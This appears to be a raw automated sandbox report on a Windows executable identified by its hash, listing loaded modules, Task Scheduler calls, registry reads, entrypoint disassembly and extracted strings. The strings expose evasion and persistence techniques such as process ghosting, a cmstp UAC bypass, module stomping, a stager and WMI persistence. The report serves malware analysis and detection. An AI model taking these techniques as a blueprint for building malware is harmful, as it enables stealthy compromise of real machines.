"powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffe0dc70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe23010000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe0d900000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe1d050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe209a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe0d820000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe34d20000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe3ba60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe0d6e0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe435a0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe426d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe41cb0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffe0d600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe46df0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe43570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe47240000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe46390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe0c8f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe2e0d0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe431d0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffe447f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe0c6b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffe0c600000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffe46cc0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffe37840000 "powershell.exe" loaded module "MI.DLL" at base 7ffe3bc10000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffe3bb80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe3a450000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe37da0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe37fd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffe46df0000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffe437f0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffe42c90000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffe448c0000 "svcctrl3249_1523.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe1d5200005a:Tb18,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1.CreateObject" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1.Connect" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1.GetFolder" with result: "\" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("GetFolder").GetFolder" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("GetFolder").CreateFolder" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1.NewTask" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask").RegistrationInfo" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("RegistrationInfo").Description" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("RegistrationInfo").Author" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask").Settings" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Settings").StartWhenAvailable" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Settings").DisallowStartIfOnBatteries" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Settings").StopIfGoingOnBatteries" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask").Principal" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Principal").RunLevel" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask").Triggers" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Triggers").Create" with result: "IDispatch" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Triggers")("Create").Delay" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask")("Triggers")("Create").Enabled" ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "Schedule.Service.1("NewTask").Actions" with result: "IDispatch" ...5b:T43c,file/memory contains long string with (Indicator: "Resolve-Path"; File: "AMSI") file/memory contains long string with (Indicator: "Write-Host"; File: "AMSI") Found string "Write-Host "usage: $PSCommandPath path [path ...]"" (Indicator: "Write-Host"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $expanded -ErrorAction Stop" (Indicator: "Resolve-Path"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "Write-Host "added: $path"" (Indicator: "Write-Host"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "Write-Host "skipped: $path"" (Indicator: "Write-Host"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "Write-Host "$($_.Exception.GetType()): $($_.Exception.Message)"" (Indicator: "Write-Host"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "Write-Host $_.ScriptStackTrace" (Indicator: "Write-Host"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")5c:T586,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")5d:T676,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" file has an entrypoint instructions - "jmp 0x140080520,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push rbp,mov rbp, rsp,pushfq ,cld ,sub rsp, 0xe0,mov qword ptr [rsp], rdi,mov qword ptr [rsp + 8], rsi,mov qword ptr [rsp + 0x10], rbp,mov qword ptr [rsp + 0x18], rbx,mov qword ptr [rsp + 0x20], r12,mov qword ptr [rsp + 0x28], r13,mov qword ptr [rsp + 0x30], r14,mov qword ptr [rsp + 0x38], r15,movups xmmword ptr [rsp + 0x40], xmm6,movups xmmword ptr [rsp + 0x50], xmm7,movups xmmword ptr [rsp + 0x60], xmm8," "svcctrl3249_1523.exe" file has an entrypoint instructions - "sub rsp, 0x28,mov rax, qword ptr [rip + 0x4ed5],mov dword ptr [rax], 1,call 0x140001160,nop ,nop ,nop ,add rsp, 0x28,ret ,nop ,push r15,push r14,push rsi,push rdi,push rbx,sub rsp, 0x20,mov rax, qword ptr gs:[0x30],mov rdi, qword ptr [rax + 8],mov rsi, qword ptr [rip + 0x4ec9],xor eax, eax,lock cmpxchg qword ptr [rsi], rdi,sete bl,je 0x1400011b9,cmp rdi, rax,je 0x1400011b9,mov r14, qword ptr [rip + 0x6079],nop word ptr [rax + rax]," "nfpvxyybtomq.sys" file has an entrypoint instructions - "mov rax, qword ptr [rip - 0x1f0f],movabs r9, 0x2b992ddfa232,test rax, rax,je 0x15023,cmp rax, r9,jne 0x15052,lea r8, [rip - 0x1f2a],movabs rax, 0xfffff78000000320,mov rax, qword ptr [rax],xor rax, r8,movabs r8, 0xffffffffffff,and rax, r8,cmove rax, r9,mov qword ptr [rip - 0x1f52], rax,not rax,mov qword ptr [rip - 0x1f54], rax,jmp 0x11008,int3 ,int3 ,int3 ,mov eax, 0x50,add byte ptr [rax], al,"5e:T1650,Observed system executable string:"MountPointWFindNextChangeNotificationGetConsoleScreenBufferInfoGetProcessWorkingSetSizeExGetSystemWindowsDirectoryWQueryFullProcessImageNameWSetProcessWorkingSetSizeExSetupDiBuildDriverInfoListchacha20: wrong nonce sizechacha20: counter overflowentropy: nil memory bufferCreateProcess %s failed: %vC:\Windows\System32\cmd.exeCompanion CreateProcess: %vCompanion launched (PID %d)Process Ghosting failed: %vWMI persistence created: %sPersistence setup completedinvalid argument to Shuffleinconsistent process statuschannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreEaster Island Standard TimePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe] Observed system executable string:"runtime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeghosting: NtCreateProcessEx: %wwrite PEB.ProcessParameters: %wreloc: delta=0x%X but no .relocC:\Windows\System32\conhost.exeC:\Windows\System32\notepad.exeC:\Windows\System32\msiexec.exeC:\Windows\System32\svchost.exereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625NtCreateThreadEx: NTSTATUS 0x%XNtReadVirtualMemory syscall: %wencoding/hex: invalid byte: %#UCertDuplicateCertificateContextSetupDiGetDeviceInfoListDetailWcrypto/aes: len(dst) < len(src)CreateProcess OK via %s (PID %d)Microsoft\Windows\Shell\Handlerscmstp: silent elevate via INF...resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicychacha20poly1305: bad ke" [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe] Observed system executable string:"ime_init_done missingbad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!ServiceName="%s"ShortSvcName="%s"unknown optional header magic: 0x%04XC:\Windows\System32\RuntimeBroker.exeP3: stager built (%d bytes, kernel32)stomp: selected %s @ 0x%X (size 0x%X)stomp: protected %d memory regions RWexec: StdinPipe after process startedreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not aligngodebug: unexpected IncNonDefault of 2220446049250313080847263336181640625cipher: message authentication failedcrypto/cipher: invalid buffer overlapcrypto/cipher: incorrect GCM tag sizeUnsubscribeServiceChangeNotificationsbisect.Hash: unexpected argument typehash/adler32: invalid hash state sizeCompanion EXE: %s (persist=%v, xor=%v)File-based: decrypting blob to disk...Setting up persistence (method: %q)...F" [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe] Observed system executable string:"runtime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeghosting: NtCreateProcessEx: %wwrite PEB.ProcessParameters: %wreloc: delta=0x%X but no .relocC:\Windows\System32\conhost.exeC:\Windows\System32\notepad.exeC:\Windows\System32\msiexec.exeC:\Windows\System32\svchost.exereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625NtCreateThreadEx: NTSTATUS 0x%XNtReadVirtualMemory syscall: %wencoding/hex: invalid byte: %#UCertDuplicateCertificateContextSetupDiGetDeviceInfoListDetailWcrypto/aes: len(dst) < len(src)CreateProcess OK via %s (PID %d)Microsoft\Windows\Shell\Handlerscmstp: silent elevate via INF...resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicychacha20poly1305: bad k" [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe] Observed system executable string:"ime_init_done missingbad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!ServiceName="%s"ShortSvcName="%s"unknown optional header magic: 0x%04XC:\Windows\System32\RuntimeBroker.exeP3: stager built (%d bytes, kernel32)stomp: selected %s @ 0x%X (size 0x%X)stomp: protected %d memory regions RWexec: StdinPipe after process startedreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not aligngodebug: unexpected IncNonDefault of 2220446049250313080847263336181640625cipher: message authentication failedcrypto/cipher: invalid buffer overlapcrypto/cipher: incorrect GCM tag sizeUnsubscribeServiceChangeNotificationsbisect.Hash: unexpected argument typehash/adler32: invalid hash state sizeCompanion EXE: %s (persist=%v, xor=%v)File-based: decrypting blob to disk...Setting up persistence (method: %q)..." [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003628-00000BC0-676567966] Observed system executable string:"%WINDIR%\System32\svchost.exe" [Source: 00000000-00007864-00000BC0-707482343]5f:Tf7e,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001336-00000C2E-156491112] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001336-00000C2B-677060229] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001336-00000C2B-677101861] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001336-00000C2B-677135757] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001336-00000C2B-677255061] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001336-00000C2B-677267218] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001336-00000C2B-677288096] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001336-00000C2B-677315113] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001336-00000C2B-677360661] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001336-00000C2B-677402939] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001336-00000C2B-677441615] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001336-00000C2B-677533877] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001336-00000C2B-677586065] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001336-00000C2B-677708045] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001336-00000C2B-677708211] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001336-00000C2B-677979570] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001336-00000C2B-677984775] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001336-00000C2B-678076931] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001336-00000C2B-678138381] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001336-00000C2B-678149843] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00001336-00000C2B-678470446] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00001336-00000C2B-678493593] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00001336-00000C2B-678606229] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00001336-00000C2B-678654493] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001336-00000C2B-678695353]60:T66f,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows.LoadLibraryEx" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows._LoadLibraryEx" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "RLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")61:T8b8,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")62:Tf3b,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: 